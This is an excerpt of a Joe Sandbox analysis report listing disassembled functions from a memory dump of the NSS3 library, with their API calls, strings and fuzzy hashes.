Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 4ddd07a431c0d3b15b728b858d8786879cb9145d405890ded699700c5197228a
Instruction ID: d61f2e088d692caef3c35477a34d6296fee917b2cea5bc5a7cd5c02b315a21ed
Opcode Fuzzy Hash: 4ddd07a431c0d3b15b728b858d8786879cb9145d405890ded699700c5197228a
Instruction Fuzzy Hash: 71014CB5B01B159BEB50DF2AD908753B7E8FF0479AB104839D85AC3E01E731E454CB96

Function 6C631DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6C631DFB

Part of subcall function 6C6295B0: TlsGetValue.KERNEL32(00000000,?,6C6400D2,00000000), ref: 6C6295D2
Part of subcall function 6C6295B0: EnterCriticalSection.KERNEL32(?,?,?,6C6400D2,00000000), ref: 6C6295E7
Part of subcall function 6C6295B0: PR_Unlock.NSS3(?,?,?,?,6C6400D2,00000000), ref: 6C629605

PR_EnterMonitor.NSS3 ref: 6C631E09

Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90AB
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90C9
Part of subcall function 6C6E9090: EnterCriticalSection.KERNEL32 ref: 6C6E90E5
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9116
Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E913F

Part of subcall function 6C62E190: PR_EnterMonitor.NSS3(?,?,6C62E175), ref: 6C62E19C
Part of subcall function 6C62E190: PR_EnterMonitor.NSS3(6C62E175), ref: 6C62E1AA
Part of subcall function 6C62E190: PR_ExitMonitor.NSS3 ref: 6C62E208
Part of subcall function 6C62E190: PL_HashTableRemove.NSS3(?), ref: 6C62E219
Part of subcall function 6C62E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C62E231
Part of subcall function 6C62E190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C62E249
Part of subcall function 6C62E190: PR_ExitMonitor.NSS3 ref: 6C62E257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C631E37
PR_ExitMonitor.NSS3 ref: 6C631E4A

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: 6cb9a7e085d82c043d359ad0356c9db17450020ce55fc2d646cc9d92987ee4e3
Instruction ID: 09bc20505416d6a196d1c339925d6f4f3a94c64ac00ad2ba6b6d1cca5a2cf6f5
Opcode Fuzzy Hash: 6cb9a7e085d82c043d359ad0356c9db17450020ce55fc2d646cc9d92987ee4e3
Instruction Fuzzy Hash: 8E018471B0616197EB005B25EC04F867764AB4674CF202035D51D97BD1E732E816CB9D

Function 6C631D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C631D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C631D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6C631D9C
free.MOZGLUE(00000000), ref: 6C631DB8

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: b6d9f735265d89e4e9082e3e2f9960fe13a8b3509c44f7021722720ce75d3b4c
Instruction ID: a442e24122731ca9d027788c59cba165de5029cc45189016fd6b32883f24103a
Opcode Fuzzy Hash: b6d9f735265d89e4e9082e3e2f9960fe13a8b3509c44f7021722720ce75d3b4c
Instruction Fuzzy Hash: C4F049B2A0633057FF111E596C41B8732C8EB83B88F113235DD0D47B40E620E40082EE

Function 6C6B0840 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C782F88,6C6B0660,00000020,00000000,?,?,6C6B2C3D,?,00000000,00000000,?,6C6B2A28,00000060,00000001), ref: 6C6B0860

Part of subcall function 6C5A4C70: TlsGetValue.KERNEL32(?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4C97
Part of subcall function 6C5A4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CB0
Part of subcall function 6C5A4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CC9

TlsGetValue.KERNEL32(00000020,00000000,?,?,6C6B2C3D,?,00000000,00000000,?,6C6B2A28,00000060,00000001), ref: 6C6B0874
EnterCriticalSection.KERNEL32(00000001), ref: 6C6B0884
PR_Unlock.NSS3 ref: 6C6B08A3

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$CallOnce
String ID:
API String ID: 2502187247-0
Opcode ID: c7159ff7fdf2329f890fa78971a1b82630c056a7c1108f618396b6f7c0116c74
Instruction ID: 76568cd9d0ae22b7254fe4ed0398f2643fbcb2e6f75510d2933a63681314577e
Opcode Fuzzy Hash: c7159ff7fdf2329f890fa78971a1b82630c056a7c1108f618396b6f7c0116c74
Instruction Fuzzy Hash: 38012BB5E00244ABEF012B69ED44A967F38DB5731AF180171ED0C72A12EF32D564C7E9

Function 6C67FD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C629003,?), ref: 6C67FD91

Part of subcall function 6C680BE0: malloc.MOZGLUE(6C678D2D,?,00000000,?), ref: 6C680BF8
Part of subcall function 6C680BE0: TlsGetValue.KERNEL32(6C678D2D,?,00000000,?), ref: 6C680C15

PORT_Alloc_Util.NSS3(A4686C68,?), ref: 6C67FDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686C68,?,?), ref: 6C67FDC4
free.MOZGLUE(00000000,?,?), ref: 6C67FDD1

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: 7042e3d525d76f52db9747cf0a17fa246ce63bcf81c6310117ceeb1af0007e87
Instruction ID: 22a06404f673049f775e60d5f377c0d80826e0aea2277aa8c01f3146dba0ee16
Opcode Fuzzy Hash: 7042e3d525d76f52db9747cf0a17fa246ce63bcf81c6310117ceeb1af0007e87
Instruction Fuzzy Hash: 6FF04CF16022065BEF104F54DD80C277798EF45399B208035ED0C8BB02E721D814C7FA

Function 6C73CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C73CC61
free.MOZGLUE ref: 6C73CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C73CC80
free.MOZGLUE(?), ref: 6C73CC87

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 5e63f5adb5c069f3c1e4701ec8b1804b8ac084d3a4fe3a93ab0dbcc0623a1644
Instruction ID: f5340395409b318c6b2f4369c0cc5d2700de1a76122ee87e0ce79da5bae60afa
Opcode Fuzzy Hash: 5e63f5adb5c069f3c1e4701ec8b1804b8ac084d3a4fe3a93ab0dbcc0623a1644
Instruction Fuzzy Hash: 73E030767006189BCA10EFA8DC4488677ACEE4D2713150575F691C3710D231F905CBE1

Function 6C619DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6C619E1F

Part of subcall function 6C5D13C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C5A2352,?,00000000,?,?), ref: 6C5D1413
Part of subcall function 6C5D13C0: memcpy.VCRUNTIME140(00000000,R#Zl,00000002,?,?,?,?,6C5A2352,?,00000000,?,?), ref: 6C5D14C0

Strings

ESCAPE expression must be a single character, xrefs: 6C619F78
LIKE or GLOB pattern too complex, xrefs: 6C61A006

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: 3bbbe134b6fb10f932a68167d2db346b3de4a691d7cf5781af597f148b4ad2d4
Instruction ID: ce79e9e901107bf7af3bfa5d8fef4fa44ca108ca938025c11a074a2d2143d7db
Opcode Fuzzy Hash: 3bbbe134b6fb10f932a68167d2db346b3de4a691d7cf5781af597f148b4ad2d4
Instruction Fuzzy Hash: F381E675A082558FD704CF2DC0803AAB7B2AF8531EF28C659D8A98BF91D732D846C794

Function 6C695860 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD037,00000000), ref: 6C6959C8

Part of subcall function 6C697EE0: PR_SetError.NSS3(00000000,00000000,00000002,?,?), ref: 6C697F30

PR_SetError.NSS3(FFFFD0AE,00000000), ref: 6C6959E9

Part of subcall function 6C69AA40: PR_SetError.NSS3(00000000,00000000,00000008,?,?), ref: 6C69AAA2

Strings

nsl, xrefs: 6C695963

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Error
String ID: nsl
API String ID: 2619118453-3778653006
Opcode ID: de2bd6a68358af2805694b810fdb77681ad0dc3f2bcd72ef0079a7f291e123c5
Instruction ID: 06caad4b00a70901ebc0fbe86ed1d6f832d0c38320d0d4d22c5e5b776f434bad
Opcode Fuzzy Hash: de2bd6a68358af2805694b810fdb77681ad0dc3f2bcd72ef0079a7f291e123c5
Instruction Fuzzy Hash: 5F41A4716083429FE710DF14DC81B9A73A8AB45329F544639FD599B682E730E908C7EA

Function 6C674D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C674D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C674DE6

Strings

%d.%d, xrefs: 6C674DDE

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: daa7950a21b6b9b3848c42ce5a5b903db7cba65eebee3557d84e7568e158f6fd
Instruction ID: f91f136ed08b725fd28f5437b279b2e3c91e4adf3a8848e5efb4bf76a02fe16b
Opcode Fuzzy Hash: daa7950a21b6b9b3848c42ce5a5b903db7cba65eebee3557d84e7568e158f6fd
Instruction Fuzzy Hash: E9312CB2E042186BEB209B609C05BFF77B8DF45308F150829ED559B781EB709915CBBA

Function 6C694CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8il,00000000,00000000,?,?,6C693827,?,00000000), ref: 6C694D0A

Part of subcall function 6C680840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6808B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C694D22

Part of subcall function 6C67FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C621A3E,00000048,00000054), ref: 6C67FD56

Strings

'8il, xrefs: 6C694D07

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8il
API String ID: 1521942269-3336700206
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: 0ab6f495050e3a0d4f65effadb7754ec18e01454b4af55d694622a161a524295
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: 60F0687660112667EB104E6A9C80B6336DC9B417BDF140371DD38CB7E1E6A1CC0986E5

Function 6C6BAF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C6BAF78

Part of subcall function 6C61ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C61ACE2
Part of subcall function 6C61ACC0: malloc.MOZGLUE(00000001), ref: 6C61ACEC
Part of subcall function 6C61ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C61AD02
Part of subcall function 6C61ACC0: TlsGetValue.KERNEL32 ref: 6C61AD3C
Part of subcall function 6C61ACC0: calloc.MOZGLUE(00000001,?), ref: 6C61AD8C
Part of subcall function 6C61ACC0: PR_Unlock.NSS3 ref: 6C61ADC0
Part of subcall function 6C61ACC0: PR_Unlock.NSS3 ref: 6C61AE8C
Part of subcall function 6C61ACC0: free.MOZGLUE(?), ref: 6C61AEAB

memcpy.VCRUNTIME140(6C783084,6C7802AC,00000090), ref: 6C6BAF94

Strings

SSL, xrefs: 6C6BAF73

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 6672f9d279dbd42b5ce679ce670eaa6fae5be444fe9f05d9c6d8fe25092cc6a9
Instruction ID: 12891fa73c073c04cb4e06d975833e70c916b6df39a6201a7c39c3d5c1722479
Opcode Fuzzy Hash: 6672f9d279dbd42b5ce679ce670eaa6fae5be444fe9f05d9c6d8fe25092cc6a9
Instruction Fuzzy Hash: 552152B2217A48AEDA00DF59D987312BA72F7433547305138C7196FB29D7314125AFD9

Function 6C610F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F1B

Part of subcall function 6C611370: GetSystemInfo.KERNEL32(?,?,?,?,6C610936,?,6C610F20,6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000), ref: 6C61138F

PR_NewLogModule.NSS3(clock,6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F25

Part of subcall function 6C611110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C610936,00000001,00000040), ref: 6C611130
Part of subcall function 6C611110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C610936,00000001,00000040), ref: 6C611142
Part of subcall function 6C611110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C610936,00000001), ref: 6C611167

Strings

clock, xrefs: 6C610F20

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: fee8ce8de261af2d88e7d4ae8d4cd310c3cacbbc32239fb64d5fe5c632b6ebe8
Instruction ID: ce9527104198936bbf47e8a147292f77add485efed4f17a1fdb644e7a8dbcdfe
Opcode Fuzzy Hash: fee8ce8de261af2d88e7d4ae8d4cd310c3cacbbc32239fb64d5fe5c632b6ebe8
Instruction Fuzzy Hash: 22D0123160918455C511666F9C45B9AF6BCC7E327FF204836E20841D104F6450EAE26D

Function 6C680DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C680DF5
TlsGetValue.KERNEL32 ref: 6C680E2D
TlsGetValue.KERNEL32 ref: 6C680E58
TlsGetValue.KERNEL32 ref: 6C680E84

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 9cb02e71cd9430c895ebee71053c73ca0a8ff02cfaa0d516a78295cb96f115db
Instruction ID: 66e7e68dda1ed1c0c0cd2d268bfadddca12f6eb74b9b4a250d8952afb69df8ba
Opcode Fuzzy Hash: 9cb02e71cd9430c895ebee71053c73ca0a8ff02cfaa0d516a78295cb96f115db
Instruction Fuzzy Hash: 1731D470647784CBDB106F3CC58829A7BB4BF0A349F114A79D89887A21DB30C096CBB9

Function 6C680F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C622AF5,?,?,?,?,?,6C620A1B,00000000), ref: 6C680F1A
malloc.MOZGLUE(00000001), ref: 6C680F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C680F42
TlsGetValue.KERNEL32 ref: 6C680F5B

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 20a46436d8a74826df48fee85d6a14d414e174d049fdb6357052d2c611ef8bec
Instruction ID: 2aa675aa86b9e807d373d98c3cbd3fdadd4daebd0e3df3e130578686dbf7a5f0
Opcode Fuzzy Hash: 20a46436d8a74826df48fee85d6a14d414e174d049fdb6357052d2c611ef8bec
Instruction Fuzzy Hash: B80140B1E0329457E710173E9E085A27B6CEF4339AF014571ED1CC2A21D730C815C1F6

Function 6C631EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C631ECE
free.MOZGLUE(?), ref: 6C631EDF
free.MOZGLUE(?), ref: 6C631EEF
free.MOZGLUE(?), ref: 6C631EF5

Memory Dump Source

Source File: 00000006.00000002.2616965445.000000006C5A1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000006.00000002.2616923097.000000006C5A0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617164735.000000006C73F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617234490.000000006C77E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617280440.000000006C77F000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617326243.000000006C780000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000006.00000002.2617372826.000000006C785000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c5a0000_K7IHXYTNUQJPI2M9UU0ECLE1K.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
